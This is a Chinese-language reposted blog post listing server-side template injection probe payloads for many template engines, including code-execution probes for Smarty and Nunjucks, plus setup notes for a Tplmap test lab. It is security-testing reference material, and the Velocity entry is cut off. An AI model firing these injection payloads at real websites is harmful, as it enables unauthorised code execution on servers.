服務端模版注入漏洞檢測payload整理


服務端模版注入漏洞產生的根源是將用戶輸入的數據被模版引擎解析渲染可能導致代碼執行漏洞

下表涵蓋了java,php,python,javascript語言中可能使用到的模版引擎,如果網站存在服務端模版注入在能回顯的情況下會將驗證欄的數據當模版執行,利用引擎提供的功能進行了計算大部分執行結果都會變成1522756

模版引擎
語言
驗證
代碼執行
盲檢測
Smarty(secured) php {1234*1234} x x
Smarty(unsecured) php {1234*1234} {php}echo md5(0xaa);{/php}
twig php {{“abcdefg”|upper}} x x
Nunjucks javascript {{1234*1234}} {{range.constructor(“return+’abcdefghi’.toUpperCase()”)()}}
doT javascript {{=1234*1234}}
Jade javascript %0a=1234*1234%0a
Marko javascript ${1234*1234}
Mako python ${1234*1234}
Jinja2 python {{1234*1234}}
Tornado python {{1234*1234}}
Slim ruby =”#{1234*1234}”
ERB ruby <%=”#{1234*1234}”%>
Freemarker java ${(1234*1234)?c}
Velocity java
#set( {t}

附錄一

升級ruby 查看ruby版本 ruby —version

利用rvm Ruby版本管理器升級 查看支持升級的版本 rvm list known

升級指定版本 rvm install 2.3

rockup命令安裝 gem install rock

附錄二

安裝gradle

# mkdir /opt/gradle
# cd /opt/gradle
# wget https://services.gradle.org/distributions/gradle-3.5-bin.zip
# unzip gradle-3.5-bin.zip
# export PATH=$PATH:/opt/gradle/gradle-3.5/bin
# gradle -v

附錄三

安裝java1.8 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 下載 jdk-8u131-linux-x64.tar.gz

export PATH=$PATH:/opt/java8/jdk1.8.0_131/bin

其他環境搭建

 

Tplmap 測試環境搭建

 

php環境

yum install wget php unzip

 

php -S 0.0.0.0:15002 -t env_php_tests/

 

nodejs環境

yum install epel-release

yum install nodejs

 

cd /root/tplmap-master/tests/env_node_tests/lib; node connect-app.js;

 

java環境

下載相應的rpm包

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

rpm -ivh jdk-8u131-linux-x64.rpm

mkdir /opt/gradle

cd /opt/gradle

wget https://services.gradle.org/distributions/gradle-3.5-bin.zip

export PATH=$PATH:/opt/gradle/gradle-3.5/bin

 

ruby環境

利用yum 安裝的ruby為2.0.0,不符號要求

 

安裝rvm

gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3

curl -sSL https://get.rvm.io | bash -s stable

source /etc/profile.d/rvm.sh

rvm reload

rvm requirements run #檢測並安裝依賴

rvm install 2.3.4 

 

gem install cuba

gem install tilt

gem install slim

cd env_ruby_tests/

rackup -o 0.0.0.0 -p 15005

 

python環境

yum install epel-release

yum install python-pip

pip install mako jinja2 flask tornado

python webserver.py


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM